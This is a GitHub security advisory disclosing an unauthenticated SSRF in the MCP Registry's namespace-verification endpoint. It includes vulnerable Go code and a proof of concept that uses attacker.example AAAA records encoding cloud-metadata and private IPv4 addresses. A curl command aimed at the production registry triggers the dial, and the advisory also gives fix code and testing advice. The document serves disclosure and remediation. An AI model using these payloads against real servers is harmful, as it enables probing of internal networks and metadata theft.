GitHub Advisoryadvisory · Go
GHSA-r48c-v28r-pf6v MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist
MEDIUM
Official page ↗
- Aliases
- CVE-2026-44430
- Ecosystem
- Go
- Packages
- github.com/modelcontextprotocol/registry
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-05-08
Affected packages
• Go github.com/modelcontextprotocol/registry: < 1.7.7 → fixed in 1.7.7
Description
Summary
The Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib's `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`) — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.
This is the same CWE-918 SSRF class fixed in GHSA-56c3-vfp2-5qqj on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.
The endpoint is unauthenticated — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.
Affected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`.
Details
Vulnerable code
`internal/api/handlers/v0/auth/http.go:125-133`:
```go
func isBlockedIP(ip net.IP) bool {
if ip == nil {
return true
}
return ip.IsLoopback() || ip.IsPrivate() ||
ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
ip.IsUnspecified() ||
cgnatRange.Contains(ip)
}
```
Per Go source (`src/net/ip.go`), the relevant stdlib helpers cover:
| Helper | IPv6 coverage |
|---|---|
| `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) |
| `IsPrivate` | ULA `fc00::/7` only — `ip[0]&0xfe == 0xfc` |
| `IsLinkLocalUnicast` | `fe80::/10` only — `ip[1]&0xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) |
| `IsMulticast` | `ff00::/8` |
| `IsUnspecified` | `::` |
The Registry's blocklist therefore does not cover:
| Prefix | Defined in | Why dangerous |
|---|---|---|
| `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. |
| `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network — which is the default in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. |
| `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. |
| `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. |
`safeDialContext` resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.
Exposure surface
`POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`:
```go
huma.Register(api, huma.Operation{
OperationID: "exchange-http-token...",
Method: http.MethodPost,
Path: pathPrefix + "/auth/http",
Summary: "Exchange HTTP signature for Registry JWT",
...
}, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) {
response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...)
...
})
```
The handler builds `https:///.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body.
Critical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`):
1. `ValidateDomainAndTimestamp(domain, timestamp)` — domain format check (no IP literal, must contain dot)
2. `DecodeAndValidateSignature(signedTimestamp)` — hex decode
3. `keyFetcher(ctx, domain)` ← SSRF dial happens here
4. `VerifySignatureWithKeys(...)` ← only AFTER fetch
So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for `signedTimestamp`.
PoC
Tested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`).
Step 1 — Set up attacker DNS
Configure `attacker.example` with the AAAA records:
```
attacker-6to4.example. AAAA 2002:a9fe:a9fe:: ; 6to4 -> 169.254.169.254
attacker-nat64.example. AAAA 64:ff9b::a9fe:a9fe ; NAT64 -> 169.254.169.254
attacker-rfc1918.example. AAAA 64:ff9b::a00:0001 ; NAT64 -> 10.0.0.1
```
(Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.)
Step 2 — Trigger the dial (no credentials required)
```bash
curl -i https://registry.modelcontextprotocol.io/v0/auth/http \
-H 'Content-Type: application/json' \
-d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}"
```
Timestamp need only be within ±15s of server clock. `signedTimestamp` is any hex string — it is decoded but only verified AFTER `FetchKey` has already dialled.
Step 3 — Observe
On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate.
For hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.
Expected behaviour after fix
`isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:
```go
func isBlockedIPv6Prefix(ip net.IP) bool {
v6 := ip.To16()
if v6 == nil || ip.To4() != nil {
return false
}
// 6to4 (2002::/16)
if v6[0] == 0x20 && v6[1] == 0x02 {
return true
}
// NAT64 well-known 64:ff9b::/96
if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 {
return true
}
// NAT64 RFC 8215 local-use 64:ff9b:1::/48
if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
v6[4] == 0x00 && v6[5] == 0x01 {
return true
}
// Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks)
if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 {
return true
}
return false
}
```
Then extend the call site:
```go
return ip.IsLoopback() || ip.IsPrivate() ||
ip.IsLinkLocalUnicast() || ip.IsMulticast() ||
ip.IsUnspecified() ||
cgnatRange.Contains(ip) ||
isBlockedIPv6Prefix(ip)
```
A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the "private/loopback" error before any dial.
Impact
CWE: CWE-918 Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).
CVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C…
Related
Alias · CVE (1)
- CVE-2026-44430 The MCP Registry provides MCP clients with a list of MCP servers, like an app store for MCP servers. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v web
- https://nvd.nist.gov/vuln/detail/CVE-2026-44430 advisory
- https://github.com/modelcontextprotocol/registry/pull/1250 web
- https://github.com/modelcontextprotocol/registry/commit/f5f40bd98084466eaf18fe48ea62a0d534caa774 web
- https://github.com/modelcontextprotocol/registry package
- https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.7 web